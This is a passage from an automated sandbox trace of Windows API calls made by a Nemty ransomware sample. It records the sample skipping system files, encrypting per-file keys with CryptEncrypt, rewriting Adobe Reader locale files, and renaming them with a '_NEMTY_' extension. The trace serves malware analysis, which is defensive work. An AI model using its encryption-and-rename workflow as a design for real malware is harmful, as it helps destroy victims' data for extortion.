1 [0176.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.628] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.SUO", cAlternateFileName="")) returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2=".") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="..") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="...") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="windows") returned -1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="rsa") returned -1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="NTDETECT.COM") returned -1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="ntldr") returned -1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="MSDOS.SYS") returned -1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="IO.SYS") returned -1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="boot.ini") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="boot.ini") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="ntuser.dat") returned -1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="desktop.ini") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="CONFIG.SYS") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="RECYCLER") returned -1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="bootmgr") returned 1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="programdata") returned -1 [0176.628] lstrcmpiW (lpString1="IA32.SUO", lpString2="appdata") returned 1 [0176.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SUO", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SUO", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SUO", lpUsedDefaultChar=0x0) returned 8 [0176.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SUO", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SUO", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SUO", lpUsedDefaultChar=0x0) returned 8 [0176.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SUO", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SUO", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SUO", lpUsedDefaultChar=0x0) returned 8 [0176.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SUO", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.629] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SUO", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SUO", lpUsedDefaultChar=0x0) returned 8 [0176.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.629] Sleep (dwMilliseconds=0x5) [0176.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cee35d0, dwHighDateTime=0x1d561e8)) [0176.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cee35d0, dwHighDateTime=0x1d561e8)) [0176.637] GetLastError () returned 0x0 [0176.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.637] GetLastError () returned 0x0 [0176.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.637] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.637] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.637] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.637] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="TANDsmyt5vai0q+/dYp6qcREJx3iIn6GtU6VGU7vJVJxiC4OJaUBWjIgzQmfhGbw\r\n1HmoOM9NrcF7ZaqRh7kxp0GzB2CPqTPtqiY9TuBtuirtlxIP30kC0Hn6TkxPBGGJ\r\nO2qplMsaR70LMYszO+7OT93pMiR5/i/sc6qMNTctqyS3iRvmpNffJjhtnIYG6ln1\r\n6XnPeQt2PorZCZX9gZYVwrK+xHPMbW0sf3sGqW4fiCx8/56cZmYz4Wqi0qzPtLqG\r\na1tngil/8t41ICzFtEsZ8JMyiEYHjDBK4gvYYKbzqf0seXbYcbm9h0YI9e73BqJq\r\nZ9TRuE5SrCU6YC0lIsz2FA==\r\n", pcchString=0x653e5dc) returned 1 [0176.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.637] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ia32.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.638] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0176.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0176.638] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.638] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0176.639] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.639] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0176.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0176.639] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0176.639] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.639] CloseHandle (hObject=0x2e8) returned 1 [0176.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0176.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.640] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ia32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ia32.suo._nemty_kgobjgd_")) returned 1 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.640] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.SUO", cAlternateFileName="MAKEAC~1.SUO")) returned 1 [0176.640] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2=".") returned 1 [0176.640] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="..") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="...") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="windows") returned -1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="rsa") returned -1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="NTDETECT.COM") returned -1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="ntldr") returned -1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="MSDOS.SYS") returned -1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="IO.SYS") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="boot.ini") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="boot.ini") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="ntuser.dat") returned -1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="desktop.ini") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="CONFIG.SYS") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="RECYCLER") returned -1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="bootmgr") returned 1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="programdata") returned -1 [0176.641] lstrcmpiW (lpString1="makeaccessible.SUO", lpString2="appdata") returned 1 [0176.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SUO", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SUO", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SUO", lpUsedDefaultChar=0x0) returned 18 [0176.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0176.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SUO", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SUO", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SUO", lpUsedDefaultChar=0x0) returned 18 [0176.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0176.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SUO", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SUO", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SUO", lpUsedDefaultChar=0x0) returned 18 [0176.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SUO", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SUO", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SUO", lpUsedDefaultChar=0x0) returned 18 [0176.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.642] Sleep (dwMilliseconds=0x5) [0176.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cf09730, dwHighDateTime=0x1d561e8)) [0176.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cf09730, dwHighDateTime=0x1d561e8)) [0176.652] GetLastError () returned 0x0 [0176.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.652] GetLastError () returned 0x0 [0176.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.653] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.653] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.653] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.653] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="UdUZaHTE8H2iqxUHb7Zgh+LHunO5w3cH1tCUZuFS9fm/M8/5UAtLtOcjfSyhBT1l\r\nfcc13pw0vBHao0RcQwRAcgRDycf+o9vwefxY32CAqztBZQxDoO0wcY/uc5n7us1/\r\nkceYRVpSrvB9dTWU/lIlo8By4jxFyxM0lcIwKUenKVbUU0i8WZJtJHeiR/CXCMJC\r\nYTyL5YWBIgIH2dubk9Yhf1L9jVm4W4mvLU1p3eXSpMwNhuN2IVv64mRmVYW/B2HJ\r\n5MaPv/RgZe2WSQ6vR4x/JXFOekWOaI4lz+KW9/kJOhNcWd5c5k1IItORFkKSGC6/\r\n9Ej/37sTCF7MN6YmAQlmfw==\r\n", pcchString=0x653e5dc) returned 1 [0176.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.653] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\makeaccessible.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\makeaccessible.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.653] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=75776) returned 1 [0176.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12800) returned 0x6352c48 [0176.653] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.653] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12800, lpOverlapped=0x0) returned 1 [0176.660] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.660] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12800, lpOverlapped=0x0) returned 1 [0176.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.660] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=75776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12800 [0176.660] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.660] CloseHandle (hObject=0x2e8) returned 1 [0176.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.660] RtlAllocateHeap 